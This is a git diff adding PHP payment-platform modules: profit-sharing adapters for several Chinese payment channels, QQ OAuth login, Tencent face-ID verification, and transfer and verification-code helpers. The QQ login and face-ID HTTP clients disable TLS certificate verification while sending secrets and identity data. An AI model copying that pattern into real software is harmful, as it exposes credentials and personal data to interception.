    '; + }elseif($row['status']==1){ + $result = $model->query($row['trade_no'], $row['api_trade_no'], $row['settle_no']); + if($result['code']==0){ + if($result['status']==1){ + $DB->update('psorder', ['status'=>2], ['id'=>$id]); + if(!empty($row['psuid']) && $channel['mode']==0){ + changeUserMoney($row['psuid'], $row['money'], false, '订单分账', $row['trade_no']); + } + $result = '分账成功'; + }elseif($result['status']==2){ + $DB->update('psorder', ['status'=>3,'result'=>$result['reason']], ['id'=>$id]); + $result = '分账失败:'.$result['reason']; + }else{ + $result = '正在分账'; + } + echo $row['trade_no'].' '.$result.'
    '; + }else{ + echo $row['trade_no'].' 查询失败:'.$result['msg'].'
    '; + } + } + } +} \ No newline at end of file diff --git a/includes/lib/ProfitSharing/Dinpay.php b/includes/lib/ProfitSharing/Dinpay.php new file mode 100644 index 0000000..636a988 --- /dev/null +++ b/includes/lib/ProfitSharing/Dinpay.php @@ -0,0 +1,44 @@ +channel = $channel; + } + + //请求分账 + public function submit($trade_no, $api_trade_no, $account, $name, $money){ + } + + //查询分账结果 + public function query($trade_no, $api_trade_no, $settle_no){ + } + + //解冻剩余资金 + public function unfreeeze($trade_no, $api_trade_no){ + } + + //分账回退 + public function return($trade_no, $api_trade_no, $account, $money){ + } + + //添加分账接收方 + public function addReceiver($account, $name = null){ + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } + + //删除分账接收方 + public function deleteReceiver($account){ + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } +} \ No newline at end of file diff --git a/includes/lib/ProfitSharing/IProfitSharing.php b/includes/lib/ProfitSharing/IProfitSharing.php new file mode 100644 index 0000000..004f9ce --- /dev/null +++ b/includes/lib/ProfitSharing/IProfitSharing.php @@ -0,0 +1,25 @@ +channel = $channel; + $wechatpay_config = require(PLUGIN_ROOT.$channel['plugin'].'/inc/config.php'); + $this->ecommerce = $wechatpay_config['ecommerce']; + $this->service = new \WeChatPay\V3\ProfitsharingService($wechatpay_config); + } + + //请求分账 + public function submit($trade_no, $api_trade_no, $account, $name, $money){ + if(strpos($account, '|')){ + global $DB; + $accounts = explode('|', $account); + $psorder = CommUtil::getOrder($trade_no); + $rates = explode('|', $psorder['rate']); + $order_money = $DB->findColumn('order', 'realmoney', ['trade_no'=>$trade_no]); + $receivers = []; + foreach($accounts as $i=>$account){ + $rate = isset($rates[$i]) ? $rates[$i] : $rates[0]; + $money = round($order_money * $rate / 100, 2); + $type = self::get_wxpay_account_type($account); + if($this->ecommerce){ + $receivers[] = [ + 'type' => $type, + 'receiver_account' => $account, + 'amount' => intval(round($money*100)), + 'description' => '订单分账' + ]; + }else{ + $receivers[] = [ + 'type' => $type, + 'account' => $account, + 'amount' => intval(round($money*100)), + 'description' => '订单分账' + ]; + } + } + if($this->ecommerce){ + $param = [ + 'transaction_id' => $api_trade_no, + 'out_order_no' => $trade_no, + 'receivers' => $receivers, + 'finish' => true, + ]; + }else{ + $param = [ + 'transaction_id' => $api_trade_no, + 'out_order_no' => $trade_no, + 'receivers' => $receivers, + 'unfreeze_unsplit' => true, + ]; + } + try{ + $result = $this->service->submit($param); + return ['code'=>0, 'msg'=>'请求分账成功', 'settle_no'=>$result['order_id']]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + $type = self::get_wxpay_account_type($account); + if($this->ecommerce){ + $param = [ + 'transaction_id' => $api_trade_no, + 'out_order_no' => $trade_no, + 'receivers' => [ + [ + 'type' => $type, + 'receiver_account' => $account, + 'amount' => intval(round($money*100)), + 'description' => '订单分账' + ] + ], + 'finish' => true, + ]; + }else{ + $param = [ + 'transaction_id' => $api_trade_no, + 'out_order_no' => $trade_no, + 'receivers' => [ + [ + 'type' => $type, + 'account' => $account, + 'amount' => intval(round($money*100)), + 'description' => '订单分账' + ] + ], + 'unfreeze_unsplit' => true, + ]; + } + try{ + $result = $this->service->submit($param); + return ['code'=>0, 'msg'=>'请求分账成功', 'settle_no'=>$result['order_id']]; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //查询分账结果 + public function query($trade_no, $api_trade_no, $settle_no){ + $reason_desc = ['ACCOUNT_ABNORMAL'=>'分账接收账户异常', 'NO_RELATION'=>'分账关系已解除', 'RECEIVER_HIGH_RISK'=>'高风险接收方', 'RECEIVER_REAL_NAME_NOT_VERIFIED'=>'接收方未实名', 'NO_AUTH'=>'分账权限已解除', 'RECEIVER_RECEIPT_LIMIT'=>'接收方已达收款限额', 'PAYER_ACCOUNT_ABNORMAL'=>'分出方账户异常', 'INVALID_REQUEST'=>'描述参数设置失败']; + + try{ + $result = $this->service->query($trade_no, $api_trade_no); + if(isset($result['state']) && $result['state'] == 'FINISHED' || isset($result['status']) && $result['status'] == 'FINISHED'){ + $receiver = $result['receivers'][0]; + if($receiver['result'] == 'SUCCESS'){ + return ['code'=>0, 'status'=>1]; + }elseif($receiver['result'] == 'CLOSED'){ + return ['code'=>0, 'status'=>2, 'reason'=>'['.$receiver['fail_reason'].']'.$reason_desc[$receiver['fail_reason']]]; + }else{ + return ['code'=>0, 'status'=>0]; + } + }else{ + return ['code'=>0, 'status'=>0]; + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //解冻剩余资金 + public function unfreeeze($trade_no, $api_trade_no){ + try{ + $this->service->unfreeze($trade_no, $api_trade_no); + return ['code'=>0, 'msg'=>'解冻剩余资金成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //分账回退 + public function return($trade_no, $api_trade_no, $account, $money){ + $type = self::get_wxpay_account_type($account); + if($type == 'MERCHANT_ID'){ + $params = [ + 'out_order_no' => $trade_no, + 'out_return_no' => 'REF'.$trade_no, + 'return_mchid' => $account, + 'amount' => intval(round($money*100)), + 'description' => '分账回退' + ]; + try{ + $this->service->return($params); + return ['code'=>0, 'msg'=>'分账回退成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + }else{ + return ['code'=>-1,'msg'=>'分账到个人账户不支持回退']; + } + } + + //添加分账接收方 + public function addReceiver($account, $name = null){ + if(strpos($account, '|')){ + $accounts = explode('|', $account); + $names = explode('|', $name); + foreach($accounts as $i => $account){ + $type = self::get_wxpay_account_type($account); + try{ + $this->service->addReceiver($type, $account, $name ? $names[$i] : null); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } + $type = self::get_wxpay_account_type($account); + try{ + $this->service->addReceiver($type, $account, $name); + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //删除分账接收方 + public function deleteReceiver($account){ + if(strpos($account, '|')){ + $accounts = explode('|', $account); + foreach($accounts as $account){ + $type = self::get_wxpay_account_type($account); + try{ + $this->service->deleteReceiver($type, $account); + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } + $type = self::get_wxpay_account_type($account); + try{ + $this->service->deleteReceiver($type, $account); + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + private static function get_wxpay_account_type($account){ + if(is_numeric($account))$type = 'MERCHANT_ID'; + else $type = 'PERSONAL_OPENID'; + return $type; + } +} \ No newline at end of file diff --git a/includes/lib/ProfitSharing/Yeepay.php b/includes/lib/ProfitSharing/Yeepay.php new file mode 100644 index 0000000..73cbc9f --- /dev/null +++ b/includes/lib/ProfitSharing/Yeepay.php @@ -0,0 +1,137 @@ +channel = $channel; + $this->service = new \Yeepay\YopClient($channel['appkey'], $channel['appsecret']); + } + + //请求分账 + public function submit($trade_no, $api_trade_no, $account, $name, $money){ + $divideDetail = [ + [ + 'ledgerNo' => $account, + 'amount' => $money, + 'ledgerType' => 'MERCHANT2MERCHANT', + ] + ]; + $params = [ + 'parentMerchantNo' => $this->channel['appid'], + 'merchantNo' => empty($this->channel['appmchid'])?$this->channel['appid']:$this->channel['appmchid'], + 'orderId' => $trade_no, + 'uniqueOrderNo' => $api_trade_no, + 'divideRequestId' => 'F'.$trade_no, + 'divideDetail' => json_encode($divideDetail), + 'isUnfreezeResidualAmount' => 'TRUE', + ]; + try{ + $result = $this->service->post('/rest/v1.0/divide/apply', $params); + if($result['code'] == 'OPR00000'){ + if($result['status'] == 'SUCCESS'){ + return ['code'=>1, 'msg'=>'分账成功', 'settle_no'=>$result['divideRequestId']]; + }else{ + return ['code'=>0, 'msg'=>'请求分账成功', 'settle_no'=>$result['divideRequestId']]; + } + }else{ + throw new Exception('['.$result['code'].']'.$result['message']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //查询分账结果 + public function query($trade_no, $api_trade_no, $settle_no){ + $params = [ + 'parentMerchantNo' => $this->channel['appid'], + 'merchantNo' => empty($this->channel['appmchid'])?$this->channel['appid']:$this->channel['appmchid'], + 'divideRequestId' => $settle_no, + 'orderId' => $trade_no, + 'uniqueOrderNo' => $api_trade_no, + ]; + try{ + $result = $this->service->get('/rest/v1.0/divide/query', $params); + if($result['code'] == 'OPR00000'){ + if($result['status'] == 'SUCCESS'){ + return ['code'=>0, 'status'=>1]; + }elseif($result['status'] == 'FAIL'){ + return ['code'=>0, 'status'=>2, 'reason'=>$result['message']]; + }else{ + return ['code'=>0, 'status'=>0]; + } + }else{ + throw new Exception('['.$result['code'].']'.$result['message']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //解冻剩余资金 + public function unfreeeze($trade_no, $api_trade_no){ + $params = [ + 'parentMerchantNo' => $this->channel['appid'], + 'merchantNo' => empty($this->channel['appmchid'])?$this->channel['appid']:$this->channel['appmchid'], + 'divideRequestId' => 'C'.$trade_no, + 'orderId' => $trade_no, + 'uniqueOrderNo' => $api_trade_no, + ]; + try{ + $result = $this->service->post('/rest/v1.0/divide/complete', $params); + if($result['code'] == 'OPR00000'){ + return ['code'=>0, 'msg'=>'解冻剩余资金成功']; + }else{ + throw new Exception('['.$result['code'].']'.$result['message']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //分账回退 + public function return($trade_no, $api_trade_no, $account, $money){ + return ['code'=>-1, 'msg'=>'暂不支持分账回退']; + $params = [ + 'parentMerchantNo' => $this->channel['appid'], + 'merchantNo' => empty($this->channel['appmchid'])?$this->channel['appid']:$this->channel['appmchid'], + 'divideBackRequestId' => 'B'.$trade_no, + 'divideRequestId' => $settle_no, + 'orderId' => $trade_no, + 'uniqueOrderNo' => $api_trade_no, + 'divideBackDetail' => '', + ]; + try{ + $result = $this->service->post('/rest/v1.0/divide/back', $params); + if($result['code'] == 'OPR00000'){ + return ['code'=>0, 'msg'=>'退分账成功']; + }else{ + throw new Exception('['.$result['code'].']'.$result['message']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //添加分账接收方 + public function addReceiver($account, $name = null){ + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } + + //删除分账接收方 + public function deleteReceiver($account){ + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } +} \ No newline at end of file diff --git a/includes/lib/ProfitSharing/Yseqt.php b/includes/lib/ProfitSharing/Yseqt.php new file mode 100644 index 0000000..9334e9c --- /dev/null +++ b/includes/lib/ProfitSharing/Yseqt.php @@ -0,0 +1,145 @@ +channel = $channel; + $this->service = new \YseqtClient($channel['appid'], $channel['appkey']); + } + + //请求分账 + public function submit($trade_no, $api_trade_no, $account, $name, $money){ + global $DB; + $order_money = $DB->findColumn('order', 'realmoney', ['trade_no'=>$trade_no]); + $divisionList = [ + [ + 'divisionMercId' => $account, + 'isChargeFee' => 'N', + 'divAmount' => $money, + ], + [ + 'divisionMercId' => $this->channel['appmchid'], + 'isChargeFee' => 'Y', + 'divAmount' => round($order_money-$money, 2), + ] + ]; + $requestNo = date('YmdHis').rand(1000,9999); + $params = [ + 'requestNo' => $requestNo, + 'payeeMerchantNo' => $this->channel['appmchid'], + 'origRequestNo' => $trade_no, + 'amount' => $order_money, + 'isDivision' => 'Y', + 'divisionMode' => '02', + 'divisionList' => $divisionList, + ]; + try{ + $result = $this->service->execute('divisionRegister', $params); + if($result['subCode'] == 'COM000'){ + if($result['state'] == 'SPLIT_SUCCESS'){ + return ['code'=>1, 'msg'=>'预分账成功', 'settle_no'=>$result['requestNo']]; + }elseif($result['state'] == 'SUCCESS'){ + return ['code'=>1, 'msg'=>'分账成功', 'settle_no'=>$result['requestNo']]; + }else{ + return ['code'=>0, 'msg'=>'受理成功', 'settle_no'=>$result['requestNo']]; + } + }else{ + throw new Exception($result['subMsg']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //查询分账结果 + public function query($trade_no, $api_trade_no, $settle_no){ + $params = [ + 'origRequestNo' => $trade_no, + ]; + try{ + $result = $this->service->execute('divisionQuery', $params); + if($result['subCode'] == 'COM000'){ + if($result['state'] == 'SPLIT_SUCCESS' || $result['state'] == 'SUCCESS'){ + return ['code'=>0, 'status'=>1]; + }elseif($result['state'] == 'FAILED'){ + return ['code'=>0, 'status'=>2, 'reason'=>$result['note']]; + }else{ + return ['code'=>0, 'status'=>0]; + } + }else{ + throw new Exception($result['subMsg']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //解冻剩余资金 + public function unfreeeze($trade_no, $api_trade_no){ + global $DB; + $requestNo = date('YmdHis').rand(1000,9999); + $order_money = $DB->findColumn('order', 'realmoney', ['trade_no'=>$trade_no]); + $params = [ + 'requestNo' => $requestNo, + 'payeeMerchantNo' => $this->channel['appmchid'], + 'origRequestNo' => $trade_no, + 'amount' => $order_money, + 'isDivision' => 'N', + 'divisionMode' => '02', + ]; + try{ + $result = $this->service->execute('divisionRegister', $params); + if($result['subCode'] == 'COM000'){ + return ['code'=>0, 'msg'=>'解冻剩余资金成功']; + }else{ + throw new Exception($result['subMsg']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //分账回退 + public function return($trade_no, $api_trade_no, $account, $money){ + $requestNo = date('YmdHis').rand(1000,9999); + $params = [ + 'requestNo' => $requestNo, + 'payeeMerchantNo' => $this->channel['appmchid'], + 'origRequestNo' => $trade_no, + 'divisionMercId' => $account, + 'amount' => $money, + ]; + try{ + $result = $this->service->execute('divisionBack', $params); + if($result['subCode'] == 'COM000'){ + return ['code'=>0, 'msg'=>'退分账成功']; + }else{ + throw new Exception($result['subMsg']); + } + } catch (Exception $e) { + return ['code'=>-1, 'msg'=>$e->getMessage()]; + } + } + + //添加分账接收方 + public function addReceiver($account, $name = null){ + return ['code'=>0, 'msg'=>'添加分账接收方成功']; + } + + //删除分账接收方 + public function deleteReceiver($account){ + return ['code'=>0, 'msg'=>'删除分账接收方成功']; + } +} \ No newline at end of file diff --git a/includes/lib/QC.php b/includes/lib/QC.php new file mode 100644 index 0000000..9562b5f --- /dev/null +++ b/includes/lib/QC.php @@ -0,0 +1,124 @@ +appid = $QC_config["appid"]; + $this->appkey = $QC_config["appkey"]; + $this->callback = $QC_config['callback']; + } + + public function qq_login($is_geturl = false){ + $state = md5(uniqid(rand(), TRUE)); + $_SESSION['Oauth_state'] = $state; + + //-------构造请求参数列表 + $keysArr = array( + "response_type" => "code", + "client_id" => $this->appid, + "redirect_uri" => $this->callback, + "state" => $state + ); + + $login_url = self::GET_AUTH_CODE_URL.'?'.http_build_query($keysArr); + + if($is_geturl){ + return $login_url; + } + header("Location: $login_url"); + } + + public function qq_callback(){ + if($_GET['state'] != $_SESSION['Oauth_state']){ + sysmsg("

    The state does not match. You may be a victim of CSRF.

    "); + } + //-------请求参数列表 + $keysArr = array( + "grant_type" => "authorization_code", + "client_id" => $this->appid, + "redirect_uri" => $this->callback, + "client_secret" => $this->appkey, + "code" => $_GET['code'] + ); + + //------构造请求access_token的url + $token_url = self::GET_ACCESS_TOKEN_URL.'?'.http_build_query($keysArr); + $response = $this->get_curl($token_url); + + if(strpos($response, "callback") !== false){ + + $lpos = strpos($response, "("); + $rpos = strrpos($response, ")"); + $response = substr($response, $lpos + 1, $rpos - $lpos -1); + $msg = json_decode($response); + + if(isset($msg->error)){ + sysmsg('

    error:

    '.$msg->error.'

    msg :

    '.$msg->error_description); + } + } + + $params = array(); + parse_str($response, $params); + + return $params["access_token"]; + + } + + public function get_openid($access_token){ + + //-------请求参数列表 + $keysArr = array( + "access_token" => $access_token + ); + + $graph_url = self::GET_OPENID_URL.'?'.http_build_query($keysArr); + $response = $this->get_curl($graph_url); + + //--------检测错误是否发生 + if(strpos($response, "callback") !== false){ + + $lpos = strpos($response, "("); + $rpos = strrpos($response, ")"); + $response = substr($response, $lpos + 1, $rpos - $lpos -1); + } + + $user = json_decode($response); + if(isset($user->error)){ + sysmsg('

    error:

    '.$user->error.'

    msg :

    '.$user->error_description); + } + + //------记录openid + return $user->openid; + } + + public function get_curl($url){ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL,$url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Linux; U; Android 4.4.1; zh-cn) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 MQQBrowser/5.5 Mobile Safari/533.1'); + curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); + $ret = curl_exec($ch); + curl_close($ch); + return $ret; + } +} diff --git a/includes/lib/QcloudFaceid.php b/includes/lib/QcloudFaceid.php new file mode 100644 index 0000000..8fe57b2 --- /dev/null +++ b/includes/lib/QcloudFaceid.php @@ -0,0 +1,110 @@ +SecretId = $SecretId; + $this->SecretKey = $SecretKey; + } + + public function GetRealNameAuthToken($Name, $IDCard, $CallbackURL){ + $action = 'GetRealNameAuthToken'; + $param = [ + 'Name' => $Name, + 'IDCard' => $IDCard, + 'CallbackURL' => $CallbackURL + ]; + return $this->send_reuqest($action, $param); + } + + public function GetRealNameAuthResult($AuthToken){ + $action = 'GetRealNameAuthResult'; + $param = [ + 'AuthToken' => $AuthToken + ]; + return $this->send_reuqest($action, $param); + } + + private function send_reuqest($action, $param){ + $payload = json_encode($param); + $time = time(); + $authorization = $this->generateSign($payload, $time); + $header = [ + 'Authorization: '.$authorization, + 'Content-Type: application/json; charset=utf-8', + 'X-TC-Action: '.$action, + 'X-TC-Timestamp: '.$time, + 'X-TC-Version: '.$this->version, + 'X-TC-Region: '.$this->region, + ]; + return $this->curl_post($payload, $header); + } + + private function generateSign($payload, $time){ + $algorithm = "TC3-HMAC-SHA256"; + + // step 1: build canonical request string + $httpRequestMethod = "POST"; + $canonicalUri = "/"; + $canonicalQueryString = ""; + $canonicalHeaders = "content-type:application/json; charset=utf-8\n"."host:".$this->endpoint."\n"; + $signedHeaders = "content-type;host"; + $hashedRequestPayload = hash("SHA256", $payload); + $canonicalRequest = $httpRequestMethod."\n" + .$canonicalUri."\n" + .$canonicalQueryString."\n" + .$canonicalHeaders."\n" + .$signedHeaders."\n" + .$hashedRequestPayload; + + // step 2: build string to sign + $date = gmdate("Y-m-d", $time); + $credentialScope = $date."/".$this->service."/tc3_request"; + $hashedCanonicalRequest = hash("SHA256", $canonicalRequest); + $stringToSign = $algorithm."\n" + .$time."\n" + .$credentialScope."\n" + .$hashedCanonicalRequest; + + // step 3: sign string + $secretDate = hash_hmac("SHA256", $date, "TC3".$this->SecretKey, true); + $secretService = hash_hmac("SHA256", $this->service, $secretDate, true); + $secretSigning = hash_hmac("SHA256", "tc3_request", $secretService, true); + $signature = hash_hmac("SHA256", $stringToSign, $secretSigning); + + // step 4: build authorization + $authorization = $algorithm + ." Credential=".$this->SecretId."/".$credentialScope + .", SignedHeaders=content-type;host, Signature=".$signature; + + return $authorization; + } + + private function curl_post($payload, $header){ + $url = 'https://'.$this->endpoint.'/'; + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, $header); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_TIMEOUT, 10); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); + $json=curl_exec($ch); + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + curl_close($ch); + if($httpCode==200){ + $arr=json_decode($json,true); + return $arr['Response']; + }else{ + return false; + } + } +} diff --git a/includes/lib/Template.php b/includes/lib/Template.php new file mode 100644 index 0000000..aaea933 --- /dev/null +++ b/includes/lib/Template.php @@ -0,0 +1,59 @@ + $type, + 'out_biz_no' => $out_biz_no, + 'payee_account' => $payee_account, + 'payee_real_name' => $payee_real_name, + 'money' => $money, + 'transfer_name' => $desc?$desc:$conf['transfer_name'], + 'transfer_desc' => $desc?$desc:$conf['transfer_desc'], + ]; + return \lib\Plugin::call('transfer', $channel, $bizParam); + } + + //转账状态刷新 + public static function status($out_biz_no){ + global $DB; + $order = $DB->find('transfer', '*', ['biz_no' => $out_biz_no]); + if(!$order) return ['code'=>-1, 'msg'=>'付款记录不存在']; + + $channelinfo = null; + if($order['uid'] > 0){ + $channelinfo = $DB->findColumn('user', 'channelinfo', ['uid'=>$order['uid']]); + } + $channel = \lib\Channel::get($order['channel'], $channelinfo); + if(!$channel) return ['code'=>-1, 'msg'=>'支付通道不存在']; + + $result = self::query($order['type'], $channel, $out_biz_no, $order['pay_order_no']); + if($result['code'] == 0){ + if($result['status'] == 2){ + if($order['status'] == 0){ + $resCount = $DB->update('transfer', ['status'=>2, 'result'=>$result['errmsg']], ['biz_no' => $out_biz_no]); + if($order['uid'] > 0 && $resCount > 0){ + changeUserMoney($order['uid'], $order['costmoney'], true, '代付退回'); + } + } + $result['msg'] = '转账失败:'.($result['errmsg']?$result['errmsg']:'原因未知'); + }elseif($result['status'] == 1){ + if($order['status'] == 0){ + $paytime = $result['paydate'] ?? 'NOW()'; + $DB->update('transfer', ['status'=>1, 'paytime'=>$paytime, 'result'=>''], ['biz_no' => $out_biz_no]); + } + $result['msg'] = '转账成功!'; + }else{ + $result['msg'] = '转账处理中,请稍后查询结果。'; + } + } + return $result; + } + + //转账查询 + //status 0:处理中 1:成功 2:失败 + public static function query($type, $channel, $out_biz_no, $pay_order_no){ + $bizParam = [ + 'type' => $type, + 'out_biz_no' => $out_biz_no, + 'orderid' => $pay_order_no + ]; + return \lib\Plugin::call('transfer_query', $channel, $bizParam); + } + + //撤销转账 + public static function cancel($out_biz_no){ + global $DB; + $order = $DB->find('transfer', '*', ['biz_no' => $out_biz_no]); + if(!$order) return ['code'=>-1, 'msg'=>'付款记录不存在']; + + $channelinfo = null; + if($order['uid'] > 0){ + $channelinfo = $DB->findColumn('user', 'channelinfo', ['uid'=>$order['uid']]); + } + $channel = \lib\Channel::get($order['channel'], $channelinfo); + if(!$channel) return ['code'=>-1, 'msg'=>'支付通道不存在']; + + $bizParam = [ + 'type' => $order['type'], + 'out_biz_no' => $order['biz_no'], + 'orderid' => $order['pay_order_no'], + ]; + $result = \lib\Plugin::call('transfer_cancel', $channel, $bizParam); + if($result['code'] == 0){ + $DB->update('transfer', ['status'=>2, 'result'=>'转账已撤销'], ['biz_no' => $out_biz_no]); + $result['msg'] = '转账已撤销'; + } + return $result; + } + + //账户余额查询 + public static function balance($type, $channel, $user_id = null){ + $bizParam = [ + 'type' => $type, + 'user_id' => $user_id + ]; + return \lib\Plugin::call('balance_query', $channel, $bizParam); + } + + //转账凭证查询 + public static function proof($out_biz_no){ + global $DB; + $order = $DB->find('transfer', '*', ['biz_no' => $out_biz_no]); + if(!$order) return ['code'=>-1, 'msg'=>'付款记录不存在']; + + $channelinfo = null; + if($order['uid'] > 0){ + $channelinfo = $DB->findColumn('user', 'channelinfo', ['uid'=>$order['uid']]); + } + $channel = \lib\Channel::get($order['channel'], $channelinfo); + if(!$channel) return ['code'=>-1, 'msg'=>'支付通道不存在']; + + $bizParam = [ + 'type' => $order['type'], + 'out_biz_no' => $out_biz_no, + 'orderid' => $order['pay_order_no'] + ]; + return \lib\Plugin::call('transfer_proof', $channel, $bizParam); + } + + //转账回调处理 + public static function processNotify($out_biz_no, $status, $errmsg = null){ + global $DB; + $order = $DB->find('transfer', '*', ['biz_no' => $out_biz_no]); + if(!$order) { + $order = $DB->find('settle', '*', ['transfer_no' => $out_biz_no]); + if(!$order) return; + if($status == 2 && $order['transfer_status'] == 1){ + $DB->update('settle', ['transfer_status'=>2, 'transfer_result'=>$errmsg, 'status'=>3, 'result'=>$errmsg], ['id' => $order['id']]); + }elseif($status == 1 && $order['transfer_status'] == 2){ + $DB->update('settle', ['transfer_status'=>1, 'status'=>1, 'result'=>''], ['biz_no' => $out_biz_no]); + } + return; + } + if($status == 2 && $order['status'] == 0){ //转账失败 + $data = ['status'=>2]; + if($errmsg) $data['result'] = $errmsg; + $resCount = $DB->update('transfer', $data, ['biz_no' => $out_biz_no]); + if($order['uid'] > 0 && $resCount > 0){ + changeUserMoney($order['uid'], $order['costmoney'], true, '代付退回'); + } + }elseif($status == 1 && $order['status'] == 0){ //转账成功 + $DB->update('transfer', ['status'=>1, 'paytime'=>'NOW()', 'result'=>''], ['biz_no' => $out_biz_no]); + } + } +} \ No newline at end of file diff --git a/includes/lib/VerifyCode.php b/includes/lib/VerifyCode.php new file mode 100644 index 0000000..f19733e --- /dev/null +++ b/includes/lib/VerifyCode.php @@ -0,0 +1,133 @@ +getRow("select * from pre_regcode where `to`=:phone order by id desc limit 1", [':phone'=>$phone]); + if($row['time']>time()-60){ + return '两次发送短信之间需要相隔60秒!'; + } + $count=$DB->getColumn("select count(*) from pre_regcode where `to`=:phone and time>'".(time()-3600*24)."'", [':phone'=>$phone]); + if($count>=self::SMS_PHONE_DAYLY_TIME){ + return '该手机号码发送次数过多,请更换号码!'; + } + $count=$DB->getColumn("select count(*) from pre_regcode where ip=:ip and time>'".(time()-3600*24)."'", [':ip'=>$clientip]); + if($count>=self::SMS_IP_DAYLY_TIME){ + return '你今天发送次数过多,请明天再试!'; + } + $code = rand(111111,999999); + $result = send_sms($phone, $code, $scene); + if($result===true){ + if($DB->insert('regcode', ['uid'=>$uid, 'scene'=>$scene, 'type'=>$type, 'code'=>$code, 'to'=>$phone, 'time'=>time(), 'ip'=>$clientip, 'status'=>0])){ + return true; + }else{ + return '写入数据库失败。'.$DB->error(); + } + }else{ + return '短信发送失败 '.$result; + } + }else{ + $email = $sendto; + $row=$DB->getRow("select * from pre_regcode where `to`=:email order by id desc limit 1", [':email'=>$email]); + if($row['time']>time()-60){ + return '两次发送邮件之间需要相隔60秒!'; + } + $count=$DB->getColumn("select count(*) from pre_regcode where `to`=:email and time>'".(time()-3600*24)."'", [':email'=>$email]); + if($count>=self::EMAIL_ADDRESS_DAYLY_TIME){ + return '该邮箱发送次数过多,请更换邮箱!'; + } + $count=$DB->getColumn("select count(*) from pre_regcode where ip=:ip and time>'".(time()-3600*24)."'", [':ip'=>$clientip]); + if($count>=self::EMAIL_IP_DAYLY_TIME){ + return '你今天发送次数过多,请明天再试!'; + } + $code = rand(1111111,9999999); + $result = self::send_mail_code($email, $code, $scene); + if($result===true){ + if($DB->insert('regcode', ['uid'=>$uid, 'scene'=>$scene, 'type'=>$type, 'code'=>$code, 'to'=>$email, 'time'=>time(), 'ip'=>$clientip, 'status'=>0])){ + return true; + }else{ + return '写入数据库失败。'.$DB->error(); + } + }else{ + return '邮件发送失败 '.$result; + } + } + } + + private static function send_mail_code($email, $code, $scene){ + global $conf; + $title = $conf['sitename'].' - 验证码获取'; + if($scene == 'reg'){ + $body = '您的验证码是:'.$code.',您正在注册成为'.$conf['sitename'].'的用户,如非本人操作请忽略。'; + }elseif($scene == 'login'){ + $body = '您的验证码是:'.$code.',用于'.$conf['sitename'].'登录验证,请勿泄露验证码,如非本人操作请忽略。'; + }elseif($scene == 'find'){ + $body = '您的验证码是:'.$code.',用于'.$conf['sitename'].'重置密码,请勿泄露验证码,如非本人操作请忽略。'; + }elseif($scene == 'edit'){ + global $situation; + if($situation=='settle')$body = '您正在修改结算账号信息,验证码是:'.$code; + elseif($situation=='mibao')$body = '您正在修改密保邮箱,验证码是:'.$code; + elseif($situation=='bind')$body = '您正在绑定新邮箱,验证码是:'.$code; + else $body = '您的验证码是:'.$code; + } + return send_mail($email, $title, $body); + } + + /** + * 验证验证码 + * @param string $scene 验证码场景 + * @param int $type 验证码类型:0邮件,1手机 + * @param string $sendto 接收人 + * @param string $code 验证码 + * @param int $uid 用户ID + * @return mixed + */ + public static function verify_code($scene, $type, $sendto, $code, $uid = 0){ + global $DB; + $where = ['scene'=>$scene, 'type'=>$type, 'to'=>$sendto]; + if($uid > 0) $where['uid'] = $uid; + $row = $DB->find('regcode', '*', $where, 'id DESC', 1); + if (!$row) { + return '请重新获取验证码!'; + }elseif($row['time']0 || $row['errcount']>=5){ + return '验证码已失效,请重新获取'; + }elseif($row['code']!=$code){ + $DB->exec("update `pre_regcode` set `errcount`=`errcount`+1 where `id`='{$row['id']}'"); + return '验证码不正确!'; + } + self::$regcodeid = $row['id']; + return true; + } + + //作废验证码 + public static function void_code(){ + global $DB; + if(self::$regcodeid){ + $DB->exec("update `pre_regcode` set `status`='1' where `id`=:id", [':id'=>self::$regcodeid]); + self::$regcodeid = null; + } + } + +} \ 